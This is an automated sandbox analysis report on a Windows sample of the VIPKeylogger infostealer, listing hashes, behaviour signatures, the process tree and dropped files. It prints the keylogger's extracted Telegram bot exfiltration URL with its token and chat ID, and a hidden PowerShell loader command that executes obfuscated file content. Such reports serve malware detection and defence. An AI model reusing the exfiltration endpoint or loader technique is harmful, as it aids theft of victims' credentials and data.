Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
17-12-2024 13:37
General
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Target
4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe
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Size
1.0MB
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MD5
68ad57514cfb4e1cb4529556dbbc9b73
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SHA1
3681d090c965cd8af1c7bffd6fe5427e997daa41
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SHA256
4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac
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SHA512
f2ef34f8ad5282676bdc3913007d471cc59e1bf20c5371817b3c85a2c24c19983d3c6c2f5e00bb539fc6596a0b02b4a33e59a4391a4165c22e0cbf2edd103f5a
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SSDEEP
24576:ENrNYo6GP6fzfqUC1tkth3VwV5k7j5awX300zQUGtZq:U+S6fziUC1wh3VwXgj5aEkHUGtZq
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7268913379:AAGd-tQ4vpps-mce2n9ECDznKp3DeHYACWw/sendMessage?chat_id=7763958191
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Loads dropped DLL 1 IoCs
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Drops file in System32 directory 1 IoCs
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Program Files directory 1 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 9 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe"C:\Users\Admin\AppData\Local\Temp\4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Veges95=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\takelma.Uns';$Makulaturs=$Veges95.SubString(71268,3);.$Makulaturs($Veges95) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
290KB
MD5ac443ed3bcda8fd27eab8e4719631588
SHA16e501a1d2959a2279c67ff2b635950b72c537df8
SHA256050e2941abcf6621568720f75c7d27b1bc7b57f4a2db95dd44701aab68996042
SHA512f4e6440cecee0b5c2197e1f77757501b45cfa1fb14389944b3f775e5611accf946a1d6625e8758592636f26f05f41aed7309de4b6cae22cb1a3b8d18730df69c
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Filesize
69KB
MD55c166ac0df5b33d27a3157ff3484b1d8
SHA114f38ae3f4ed43ab6f47cad5859e4494408092c5
SHA256c1203a1fc75a7592b8916f61c403ca3eebed1b1d84cd3c7eaa89187ee665229c
SHA51289a6e8a42ac4fc4b8618c3e79300126e49128c238e91f557a573edd7905a8fb35cb601e422b0a55ee74ccbb274e228314cf27741e8b3b70b532d3980328e89b1
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Filesize
7KB
MD5675c4948e1efc929edcabfe67148eddd
SHA1f5bdd2c4329ed2732ecfe3423c3cc482606eb28e
SHA2561076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906
SHA51261737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683
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Filesize
18.3MB
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Filesize
296KB
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Filesize
40KB
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Filesize
584KB
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Filesize
5.2MB
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Filesize
320KB
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Filesize
1.8MB
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Filesize
624KB
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Filesize
18.3MB
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Filesize
7.7MB
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Filesize
32KB
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Filesize
120KB
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Filesize
304KB
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Filesize
600KB
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Filesize
104KB
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Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
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Filesize
304KB
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Filesize
120KB
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Filesize
7.7MB
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Filesize
200KB
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Filesize
7.7MB
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Filesize
652KB
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Filesize
408KB
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Filesize
40KB
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Filesize
68KB
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Filesize
56KB
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Filesize
80KB
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Filesize
104KB
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Filesize
3.3MB
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Filesize
168KB
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Filesize
144KB
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Filesize
7.7MB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
69.9MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
408KB
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Filesize
136KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
6.2MB
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Filesize
216KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB